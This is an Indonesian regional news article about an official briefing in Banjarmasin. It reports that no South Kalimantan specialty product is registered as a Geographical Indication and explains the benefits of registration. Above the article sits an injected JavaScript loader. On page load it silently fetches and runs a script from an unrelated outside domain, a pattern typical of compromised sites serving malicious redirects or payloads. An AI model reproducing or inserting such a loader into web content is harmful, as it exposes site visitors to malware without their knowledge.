(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Belum Ada Produk Khas Kalsel Terdaftar Indikasi Geografis


BANJARMASIN, Kepala Divisi Pelayanan Hukum dan Hak Asasi Manusia Kalimantan Selatan, Subianta Mandala memberikan paparan tentang Indikasi Geografis (IG) saat sosialisasi hasil penelitian dan pengembangan hukum dan HAM, Selasa (23/7), di aula Kanwil Kemenkumham Kalsel.

“Sejauh ini belum ada satu produk khas Kalimantan Selatan yang terdaftar sebagai IG,” akunya. Padahal menurutnya, Kalsel mempunyai keanekaragaman hayati yang luar biasa besar, meskipun kendala yang dihadapi di lapangan salah satunya belum adanya pengetahuan yang memadai mengenai manfaat IG.

Adapun manfaat IG yakni mencegah beralihnya kepemilikan hak pemanfaatan produk dari masyarakat kepada pihak lain. Memaksimalkan nilai tambah produk bagi masyarakat setempat, memberikan perlindungan dari pemalsuan produk, meningkatnya pemasaran produk khas, meningkatnya penyediaan lapangan kerja, menunjang pengembangan agrowisata.

Selain itu, IG juga menjamin keberlanjutan usaha, memperkuat ekonomi wilayah, mempercepat perkembangan wilayah, meningkatkan kesejahteraan masyarakat, memberi jaminan kualitas kualitas produk, memberi jaminan hukum bagi konsumen apabila produk tidak sesuai dengan standar yang diharapkan.

Kegiatan diikuti 30 peserta dari Satuan Kerja Perangkat Daerah di wilayah Kalimantan Selatan bertujuan melindungi potensi alam dalam bingkai produk IG sebagai ciri khas produk daerah.

IG adalah suatu tanda yang menunjukkan daerah asal suatu barang dan/atau produk yang karena faktor lingkungan geografis termasuk faktor alam, faktor manusia, atau kombinasi dari kedua faktor tersebut memberikan reputasi, kualitas, dan karakteristik tertentu pada barang untuk produk yang dihasilkan.

“IG dimiliki oleh masyarakat penghasil produk khas wilayah, kepemilikan IG tidak dapat diperjualbelikan, dan IG berlaku selama kekhasan produk masih terjaga serta perlindungan IG diakui secara internasional dan tercantum dalam Trip’s Agreement dan WTO,” jelas Subianta Mandala.

“Karena itu perlu ada kerjasama yang erat Kanwil Kemenkumham dengan dinas-dinas terkait seperti, Dinas Pertanian, Perikanan, dan Kehutanan, Tanaman Pangan dan Holtikultura, Dinas Perindustrian dan Perdagangan, Koperasi dan Usaha Kecil Menengah,” tandas Kepala Divisi Pelayanan Hukum dan HAM. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.